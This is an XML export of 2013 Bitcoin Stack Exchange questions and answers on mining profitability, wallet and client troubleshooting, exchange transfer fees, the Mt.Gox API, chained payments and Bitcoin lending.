  <row Id="11357" PostTypeId="2" ParentId="11354" CreationDate="2013-05-30T12:38:25.917" Score="3" Body="&lt;p&gt;A long time ago I read about using amazon cloud instances when the value vs. effort made it profitable to mine with them, but that was before GPU-mining took over.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be competitive today a service provider would have to employ ASICs. There would also be some economical overhead of providing the customer service, instead of just mining. Strict bitcoin mining operations like for example ASICminer have an advantage over that.&lt;/p&gt;&#xA;" OwnerUserId="4698" LastActivityDate="2013-05-30T12:38:25.917" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11358" PostTypeId="2" ParentId="11354" CreationDate="2013-05-30T13:03:58.050" Score="0" Body="&lt;p&gt;Mining Bitcoin is possible, but almost certainly not profitable if it's the sole purpose of the VPS. You may, however, find profitability in other altcoins, such as Litecoin or Bytecoin.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-05-30T13:03:58.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11359" PostTypeId="1" CreationDate="2013-05-30T13:32:26.120" Score="4" ViewCount="236" Body="&lt;p&gt;Newbie here!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to confirm something:&#xA;I have bought bitcoins and I already see them in the QT client I am using.&#xA;I now want to send the bitcoins using a different address than the one I use to receive them.&#xA;Do I have to send the bitcoins to another address and only then send them again to the final destination?&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5324" LastActivityDate="2013-05-30T13:34:24.790" Title="Send coins from another adress" Tags="|wallet|client|bitcoin-core|address|sending|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11360" PostTypeId="2" ParentId="11359" CreationDate="2013-05-30T13:34:24.790" Score="2" Body="&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can only spend bitcoins from the Address they were sent to. Think of it like cheques - only the person they are written out to can authorise them - not their spouse or child. Bitcoin transactions operate similarly.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-05-30T13:34:24.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11363" PostTypeId="2" ParentId="136" CreationDate="2013-05-30T16:58:57.560" Score="-1" Body="&lt;p&gt;TRy this chart , also look at litecoin, the next bitcoin, @ $3. now with $55 M in the market cap. &lt;a href=&quot;http://coinmarketcap.com/&quot; rel=&quot;nofollow&quot;&gt;http://coinmarketcap.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5330" LastActivityDate="2013-05-30T16:58:57.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11364" PostTypeId="2" ParentId="8356" CreationDate="2013-05-30T17:11:33.820" Score="1" Body="&lt;p&gt;Not all transactions can be decoded into an address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, &lt;a href=&quot;https://en.bitcoin.it/wiki/Script#Transaction_puzzle&quot; rel=&quot;nofollow&quot;&gt;this transaction&lt;/a&gt; could be claimed by putting the genesis block in the output script. That's not a standard address type, nor will it ever be.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-05-30T17:11:33.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11365" PostTypeId="2" ParentId="11353" CreationDate="2013-05-30T17:29:32.130" Score="1" Body="&lt;p&gt;My recommendation is to mine any currency that uses the scrypt hashing algorithm and sell your earnings for BTC.  There are many to choose from and sites like &lt;a href=&quot;http://coinchoose.com/&quot; rel=&quot;nofollow&quot;&gt;Coinchoose&lt;/a&gt; can help you determine which is the most profitable to mine and sell for BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CPU mining isn't going to get you much but you can make some BTC this way.  If you have a GPU in your PC, make sure you run the right mining software that can utilize your GPU as well.&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditDate="2013-05-31T15:06:52.313" LastActivityDate="2013-05-31T15:06:52.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11367" PostTypeId="1" CreationDate="2013-05-30T19:55:05.787" Score="8" ViewCount="8319" Body="&lt;p&gt;I'd like to put all my Bitcoin data on an external drive instead of having it on my hard drive, as it's taking too much space on my laptop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did find an answer on this page regarding how to create a standalone application out of &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin-Qt&quot; rel=&quot;nofollow&quot;&gt;Bitcoin-Qt&lt;/a&gt;, but somehow that doesn't work for me. It doesn't seem to do anything different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I move my Bitcoin data? &lt;/p&gt;&#xA;" OwnerUserId="5331" LastEditorUserId="1405" LastEditDate="2014-05-25T21:58:52.203" LastActivityDate="2014-09-16T04:23:26.220" Title="How to move Bitcoin data from Application Support on an external drive [Mac]" Tags="|mac|library|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11368" PostTypeId="2" ParentId="11367" CreationDate="2013-05-30T21:39:08.943" Score="1" Body="&lt;p&gt;You could set &lt;code&gt;datadir&lt;/code&gt; in your &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin#Bitcoin.conf_Configuration_File&quot; rel=&quot;nofollow&quot;&gt;bitcoin.conf&lt;/a&gt; to a location on an external drive. You'll still need to keep the Application Support folder there to have &lt;code&gt;bitcoin.conf&lt;/code&gt; in it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;N.b. I have not tried this.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-05-30T21:39:08.943" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11369" PostTypeId="1" CreationDate="2013-05-30T23:01:26.717" Score="0" ViewCount="683" Body="&lt;p&gt;I understand that securing your bit coins is basically about protecting the private keys for your addresses. This makes sense from my past dealings with public/private key encryption. How do exchanges handle and store your bit coins for you? Is it basically a secured list of your keys? Can you get access to the keys either to back them up, spend them outside the exchange, or move them to another exchange? What would happen if an exchange was compromised (i.e. siezed). I can imagine that I'd lose any dollars but my bitcoins are still accessible to me outside the exchange as long as I have the private keys, right?&lt;/p&gt;&#xA;" OwnerDisplayName="user5332" LastActivityDate="2013-06-01T18:27:45.423" Title="understanding how exchanges &quot;store&quot; bitcoins" Tags="|exchanges|private-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11371" PostTypeId="2" ParentId="11353" CreationDate="2013-05-30T23:21:22.313" Score="0" Body="&lt;p&gt;If you don't pay the electric bills and leave your computer on the whole day -such as in your office computer, which you must be able to connect to at any time- then you could try mining some Litecoins. Don't expect to get rich, though, at current difficulty you won't get more than 1 or 2 LTC per month. Still, it could be a start. Then you could buy some Bitcoins with your Litecoins...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The legality and morality of this should be left at your consideration, though - since you'd be leaving the computer on the whole day, anyway, and electricity consumption won't increase way too much... you'd not robbing (so to say) too much off the company.&#xA;Still, you'd be using your work tools for a private benefit, however small, which wouldn't look well in the eyes of your employer should you get caught.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're doing it on your private machine, unless you have a Raspberry PI or some similar ultra-low consumption computer, you wouldn't even recover your costs... I'd say it's not worth it. You'd be better off getting a GPU and installing some photovoltaic cells on your ceiling...&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2013-05-30T23:21:22.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11372" PostTypeId="2" ParentId="7236" CreationDate="2013-05-30T23:55:22.170" Score="2" Body="&lt;p&gt;A potential use I can think of is for aiding mailing servers using a variant of HashCash to validate they're not spammers: should HashCash users start using SHA-2 instead of SHA-1 for the proof-of-work, then ASIC miners could be reused to aid mail severs send authenticated mails to large distribution lists, thus reducing the cost for honest corporate (or even personal, should the need arise!) massive mailing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, this also means spammers could simply get these machines to reduce the chance their mails get identified as the garbage they are - buying an ASIC would simply become another &quot;investment&quot; needed to start a spamming business. So here goes the egg and chicken problem...&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2013-05-30T23:55:22.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11373" PostTypeId="1" CreationDate="2013-05-30T23:59:13.970" Score="1" ViewCount="92" Body="&lt;p&gt;During Initial Sync BitCoin-QT to lock-up and cause Debian Wheezy to crash and reboot...no error message.  How do I fix this issue?  Subsequent execution of client software has same result.&lt;/p&gt;&#xA;" OwnerUserId="5334" LastEditorUserId="2306" LastEditDate="2013-05-31T01:14:06.690" LastActivityDate="2013-05-31T01:14:06.690" Title="Bitcoin-Qt locks up" Tags="|bitcoin-core|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11374" PostTypeId="1" CreationDate="2013-05-31T00:39:31.810" Score="4" ViewCount="5289" Body="&lt;p&gt;I want to transfer some money from Dwolla to MtGox however I've noticed that MtGox's Dwolla account isn't working. I've tried transferring using BitInstant to my MtGox account directly and that works fine, however BitInstant takes 3.99% of the amount I'm transferring as a fee which is pretty big when you start moving larger amounts. I'm wondering is there a way to transfer money to buy up some Bitcoins without losing so much to transaction fees?&lt;/p&gt;&#xA;" OwnerUserId="5335" LastActivityDate="2013-06-23T01:09:00.917" Title="Is there a way to transfer money from Dwolla to MtGox without paying BitInstant a 3.99% transaction fee?" Tags="|transactions|mtgox|bitinstant|dwolla|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11375" PostTypeId="1" CreationDate="2013-05-31T01:00:41.660" Score="2" ViewCount="1685" Body="&lt;p&gt;I can't launch the latest update, now it just 'unexpectedly quits' before loading. I tried uninstalling and reinstalling a couple of the past versions, but the directory folder was never created. Strangely, the 0.7.2 version did actually launch, with the right wallet contents, but still no directory folder. When I tried going back to the most recent and the most recently successful version.. it still doesn't work. I even tried creating the folder myself before an install but it still didn't work. ANy suggestions?&lt;/p&gt;&#xA;" OwnerUserId="5336" LastEditorUserId="47827" LastEditDate="2023-05-08T13:21:37.380" LastActivityDate="2023-05-08T13:21:37.380" Title="Why is my /Library/Application Support/Bitcoin directory missing?" Tags="|bitcoin-core|mac|installation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11376" PostTypeId="2" ParentId="11375" CreationDate="2013-05-31T02:06:30.473" Score="1" Body="&lt;p&gt;Try going to your Local, User directory of the Library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e. try this: &lt;code&gt;~/Library/Application Support/Bitcoin/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll see a path similar to this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;/Users/myname/Library/Application Support&quot;&lt;/p&gt;&#xA;" OwnerUserId="1420" LastActivityDate="2013-05-31T02:06:30.473" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11377" PostTypeId="1" CreationDate="2013-05-31T02:43:56.967" Score="4" ViewCount="1412" Body="&lt;p&gt;I'm trying to write a program using the Mt.Gox API to keep an up-to-date consistent view of their market depth. My current approach is as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Connect WebSocket and subscribe to depth updates&lt;/li&gt;&#xA;&lt;li&gt;Wait for 1 minute, collecting updates&lt;/li&gt;&#xA;&lt;li&gt;Request full market depth data via &lt;a href=&quot;http://data.mtgox.com/api/1/BTCUSD/depth/full&quot; rel=&quot;nofollow&quot;&gt;http://data.mtgox.com/api/1/BTCUSD/depth/full&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Merge the collected updates into the market data by time-stamp (more recent wins)&lt;/li&gt;&#xA;&lt;li&gt;Continue merging all future updates into data&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;After playing around with this for a while, I noticed that the full depth data download doesn't always match the data generated from updates. That's why I added the 1min delay, thinking that maybe the Mt.Gox server only updates the full depth data periodically, but doesn't generate it on the fly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But even with this protocol, if I run the program twice in parallel, I end up seeing different data in both instances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what I might be doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="5338" LastActivityDate="2013-06-15T02:24:22.657" Title="Keeping consistent market depth using Mt.Gox API" Tags="|mtgox|api|market-depth|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11378" PostTypeId="1" CreationDate="2013-05-31T02:45:28.613" Score="3" ViewCount="6476" Body="&lt;p&gt;I was looking at some sample mining algorithms and also some sample code and there was something which I didnt really understand. In &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3044/simple-bitcoin-mining-algorithm/3047#3047&quot;&gt;Simple bitcoin mining algorithm&lt;/a&gt; he says ,&#xA;The simplest miner would work like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The simplest miner would work like this:&#xA;&#xA;     1. Request a new [Getwork][1] from a given pool/bitcoind with specified credentials&#xA;     2. For nonce=0;nonce&amp;lt;0xFFFFFFFF;nonce++&#xA;     - Set Getwork Data nonce&#xA;     - SHA-256 hash the Getwork Data ([block header][2])&#xA;     - Check if hash result is smaller than Getwork Target, if so, submit a share&#xA;     - If more than 1 second passed since you received Getwork, stop the loop&#xA;     3. GOTO: 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I dont understand is step 2, part 4. Lets consider the above script is connected to an FPGA through a uart port. Wont I wait until the FPGA actually finds a valid nonce and submits the none through the UART line? Why would I exit out of the loop after 1 second and then go through the entire process again. This doesnt make sense to me because then the fpga has only a few seconds to increment the nonce for the given work and it then moves on to the next piece of work? How is this even realistic since even if the same work is submitted again it will go through the same loop and will end up doing nothing productive. What error am I making here? Sample code that I am talking about:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/progranism/Open-Source-FPGA-Bitcoin-Miner/blob/master/projects/Verilog_Xilinx_Port/sources/software/miner.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/progranism/Open-Source-FPGA-Bitcoin-Miner/blob/master/projects/Verilog_Xilinx_Port/sources/software/miner.py&lt;/a&gt; does the same thing. It says golden.wait(timeout) instead of just calling golden.wait() and blocking till a nonce is found&lt;/p&gt;&#xA;" OwnerUserId="4803" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2021-04-08T14:51:23.243" Title="Bitcoin mining algorithm" Tags="|mining-technical-details|mining-software|fpga|open-source|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11379" PostTypeId="2" ParentId="11354" CreationDate="2013-05-31T04:05:42.733" Score="0" Body="&lt;p&gt;TLDR; bad idea&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I rented a VPS to do data analysis on the blockchain, so I ran a bitcoin client, which can have a heavy disk IO, and bitcoin-abe, which is similarly heavy due to a database backend. I loaded both bitcoind and mysql through libeatmydata to lessen the load (less syncs). I wasn't mining. Within a couple of hours, the provider suspended my account due to &quot;bitcoin mining&quot;. I complained but they never unsuspended me.&lt;/p&gt;&#xA;" OwnerUserId="3369" LastActivityDate="2013-05-31T04:05:42.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11381" PostTypeId="2" ParentId="11354" CreationDate="2013-05-31T11:25:40.020" Score="0" Body="&lt;p&gt;The main issue with CPU mining is that before you manage to finish a share the block becomes stale - you barely get anything out as far as I can tell.  &lt;/p&gt;&#xA;" OwnerUserId="5344" LastActivityDate="2013-05-31T11:25:40.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11382" PostTypeId="1" CreationDate="2013-05-31T14:31:06.373" Score="2" ViewCount="1356" Body="&lt;p&gt;How do I figure out the current number of blocks?&lt;/p&gt;&#xA;" OwnerUserId="3728" LastEditorUserId="2306" LastEditDate="2013-05-31T16:38:39.067" LastActivityDate="2013-06-02T18:22:21.393" Title="current block height" Tags="|json-rpc|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11383" PostTypeId="2" ParentId="11374" CreationDate="2013-05-31T14:36:47.623" Score="0" Body="&lt;p&gt;Im not aware of a method other then BitInstant with the 3.99% fee.  This can be confirmed at...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=160604.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=160604.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there are other ways to buy bitcoins besides USD deposits to Mt.Gox which may have lower fees.&lt;/p&gt;&#xA;" OwnerUserId="5287" LastActivityDate="2013-05-31T14:36:47.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11384" PostTypeId="1" CreationDate="2013-05-31T15:52:52.357" Score="0" ViewCount="3705" Body="&lt;p&gt;I am hoping someone can point me to a decent tutorial as to how to set up a Litecoin Pushpool server for windows. Im not trying to build anything big just so that my friends and I can mine together. I already have MySQL Community installed and working properly, downloaded the pushpool php files as well as the Mining Farm extras.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=10617.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=10617.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though the only tutorials I have seen to implements those files are for Ubuntu? Don't know how well that reflects Windows so I have been stuck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would be willing to donate a small amount of bitcoin, not litecoin, to anyone who can help me.&lt;/p&gt;&#xA;" OwnerUserId="5351" LastActivityDate="2015-01-22T16:26:20.127" Title="How do you set up Pushpool/Litecoin for windows?" Tags="|litecoin|pushpool|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11385" PostTypeId="1" CreationDate="2013-05-31T16:13:15.657" Score="3" ViewCount="453" Body="&lt;p&gt;i have to develop an &lt;strong&gt;etsy-like&lt;/strong&gt; store using bitcoins as currency trading; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As happen in the Etsy network, &lt;strong&gt;i have to hold back a fee for all the transactions&lt;/strong&gt; made by all the sub-stores in the network; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Chained Payments - ( buyer pay $100 to sub-store and sub-store give $10 to main-store )&#xA;&#xA;              main-store&#xA;               $10 fee&#xA;buyer __          |           &#xA;$100    \         |       &#xA;         \__  sub-store-# &#xA;                 $90&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i want to know if it's possible using bitcoins to have something like &lt;a href=&quot;https://cms.paypal.com/uk/cgi-bin/?cmd=_render-content&amp;amp;content_ID=developer/e_howto_api_APIntro#id091QF0I30YK&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Paypal Adaptive Payments&lt;/strong&gt;&lt;/a&gt; &lt;em&gt;Chained Payments&lt;/em&gt; (maybe through some third party services)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advance for any feedback.&lt;/p&gt;&#xA;" OwnerUserId="5348" LastEditorUserId="5348" LastEditDate="2013-06-01T05:10:44.460" LastActivityDate="2017-01-02T20:34:03.163" Title="Chained Payments with bitcoin like Paypal Adaptive Payments?" Tags="|payment|paypal|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11386" PostTypeId="2" ParentId="11382" CreationDate="2013-05-31T16:52:55.240" Score="2" Body="&lt;p&gt;You don't need to modify the bitcoin client at all - you can use &lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_%28JSON-RPC%29&quot; rel=&quot;nofollow&quot;&gt;JSON-RPC&lt;/a&gt; and call &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;getblockcount&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-05-31T16:52:55.240" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11387" PostTypeId="2" ParentId="11378" CreationDate="2013-05-31T17:05:57.230" Score="1" Body="&lt;p&gt;Knowing absolutely nothing about how this works, I would hypothesize:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;that others get the same work&lt;/li&gt;&#xA;&lt;li&gt;the longer you chew on the data, the higher the probability someone else has already solved the problem&lt;/li&gt;&#xA;&lt;li&gt;even if this is waiting on the network on each iteration, it starts the 1-second timer after getting the work&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5353" LastActivityDate="2013-05-31T17:05:57.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11389" PostTypeId="2" ParentId="11385" CreationDate="2013-05-31T18:11:35.107" Score="1" Body="&lt;p&gt;There's nothing out there that does this but it would not be a hard thing to create.  It's a relatively simple process:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;set up payment for xBTC with a specific address to which to send the payment&lt;/li&gt;&#xA;&lt;li&gt;when the payment arrives create a new transaction that sends some of the coin to an address owned by you and some on to the store owner's address&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All of the complexity will be in the business rules: what's the percentage split, how long 'til you pass the coin along (in the case of shipping physical items you need to worry about a purchaser claiming against you for non-delivery), what happens if items are sourced in USD or other currency and translation is required, etc.&lt;/p&gt;&#xA;" OwnerUserId="3187" LastActivityDate="2013-05-31T18:11:35.107" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11390" PostTypeId="1" CreationDate="2013-05-31T21:31:47.673" Score="6" ViewCount="1187" Body="&lt;p&gt;It seems like mainstream access would be easier if there was a more human readable system for bitcoin addresses. No one has to remember IP addresses, we have servers with databases for that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What type of infrastructure is there to send bitcoins to easy-to-remember addresses?&#xA;Will it ever be a permanent part of the protocol?&lt;/p&gt;&#xA;" OwnerUserId="3667" LastActivityDate="2014-09-17T16:36:10.337" Title="Is anyone developing a DNS-like system for Bitcoin addresses?" Tags="|address|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11391" PostTypeId="1" CreationDate="2013-05-31T22:26:20.803" Score="3" ViewCount="1968" Body="&lt;p&gt;I have some Bitcoin and Litecoin wallets with very small amount of BTC/LTC in them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to completely empty these wallets - send all the BTC/LTC them to another address. This address can belong to me or to the others (donation etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin-Qt doesn't allow to send from these wallets because transaction fees are higher than the amount in the wallets. It seems that I cannot &quot;force&quot; this client to use smaller fees or even no fee at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I use other wallets to do this? Which ones (Electrum?)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What alternatives do I have with with Litecoins? There seems to be only one reasonable client (Litecoin-Qt).&lt;/p&gt;&#xA;" OwnerUserId="5356" LastEditorUserId="120" LastEditDate="2013-06-07T11:16:37.143" LastActivityDate="2013-08-06T11:59:54.243" Title="How to completely empty wallets - problem with fees" Tags="|transaction-fees|litecoin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11392" PostTypeId="1" AcceptedAnswerId="11393" CreationDate="2013-06-01T00:02:21.593" Score="8" ViewCount="3311" Body="&lt;p&gt;To the best of my knowledge, there's no bank lending in bitcoins, yet, which surprises me. Now that Bitcoin has stabilized to circa USD $100, I think it could be reasonable for an institution to start lending in this currency. By using Bitcoins instead of a national currency, the number of potential lenders goes way up than the number of banks in most countries, and the interest rates could potentially be way lower.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought of a way to make it even less risky for a potential lender to someone they don't know in a remote country: they could ask the potential client to ask for a loan in their national currency to a big, recognized bank. The bank would do the job of assessing the client's capability of payment, do the background checking, etc. and lend (in national currency) the amount they believe the client is capable of paying off, in the selected time period.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This amount would be transferred (via the traditional banking system) to the Bitcoin bank, and the documents for the loan would be scanned and faxed/e-mailed as well (with validated-transaltion attached, of course). The Bitcoin bank could then take the risk-assessment of the local bank at face-value, return aprox. 95% of the amount transferred in the very same national currency to the client so it can pay the loan to the bank almost immediately (thus paying a very small amount in interest to the local bank) and then loan 90% of the original amount but in Bitcoins - at hopefully a lower interest rate. Of course, the difference in the amounts plus the interest would be the profit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In effect, grabbing the money from a recognized, traditional institution would be a way of saying &quot;hey, look, other guys think I'm worthy of a credit up to aprox. this amount for this time-period&quot;. I for one would be happy to give it a try, taking a loan on Bitcoins!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could this be feasible?&lt;/p&gt;&#xA;" OwnerUserId="4748" LastEditorUserId="5406" LastEditDate="2015-06-17T12:32:34.590" LastActivityDate="2021-07-14T11:26:28.950" Title="Why there's no bank or institution lending Bitcoins?" Tags="|banks|loans|" AnswerCount="6" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11393" PostTypeId="2" ParentId="11392" CreationDate="2013-06-01T01:02:52.313" Score="1" Body="&lt;p&gt;There is &lt;a href=&quot;https://btcjam.com/&quot; rel=&quot;nofollow&quot;&gt;BTCJam&lt;/a&gt;, and I heard of at least one more company doing the same thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there is a HUGE problem with BTC lending - it is very fraud prone. I exchanged emails with their support and got this interesting factoid:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We have a repayment rate of 76.11%&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That means about a quarter of their loans don't get repaid. BTCJam does not appear to pursue defaulting borrowers either, meaning that if you happen to lend your money to a scammer, your money is gone. They claim to have the person's social network status, paypal history, phone verification and all that stuff, but they do nothing with that information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So while BTC lending is easy to do, enforcing repayment is nigh-impossible in such systems that are careless about what they do.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-06-01T01:02:52.313" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11394" PostTypeId="1" AcceptedAnswerId="11401" CreationDate="2013-06-01T02:49:07.407" Score="1" ViewCount="4875" Body="&lt;p&gt;I am attempting to remove my password from my wallet in Multibit. However, everytime I try my password it says &quot;The removal of the password has failed. The error is &quot;could not decrypt bytes.&quot;&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried searching online but I can't seem to figure out what this means/how to fix this.&lt;/p&gt;&#xA;" OwnerUserId="5359" LastActivityDate="2013-12-06T20:26:02.223" Title="Multibit password error: Could not decrypt bits" Tags="|multibit|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11395" PostTypeId="2" ParentId="11384" CreationDate="2013-06-01T03:02:37.323" Score="0" Body="&lt;p&gt;Iam not aware of a pool software that supports windows (except p2pool which is way different than pooled mining).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my own experience i can suggest eloipool (channel on freenode irc: #eligius)  as its as far as im aware the only maintained public pool software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note, a pool and a frontend and a reward/payout system are different things. If you mine with your friends you will likely want to sharelog. Eloipool has postgres support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(As im aware eloi took some code from pushpool)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;May have a look on:&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Poolservers&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Poolservers&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also to note is security, if you run a pool with the bitcoind client on the same server your pool server is visible in IP log, you dont want to run a exploitable pool in this case.&lt;/p&gt;&#xA;" OwnerUserId="2167" LastActivityDate="2013-06-01T03:02:37.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11397" PostTypeId="1" AcceptedAnswerId="11399" CreationDate="2013-06-01T07:17:30.270" Score="3" ViewCount="1141" Body="&lt;p&gt;If I'm reading the website right, it's saying that both Wallet passphrase &lt;em&gt;and&lt;/em&gt; name should be kept private.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now have a conundrum of which name to choose. Should I put my default username (public, well-known by those who know me), or should I put something that is hard to guess (like a password)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How are the wallet name and passphrase even used in the system? Will someone give me his Wallet name, so I will be able to transfer money to him?&lt;/p&gt;&#xA;" OwnerUserId="5363" LastActivityDate="2013-06-01T08:04:59.163" Title="Ripple wallet name?" Tags="|ripple|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
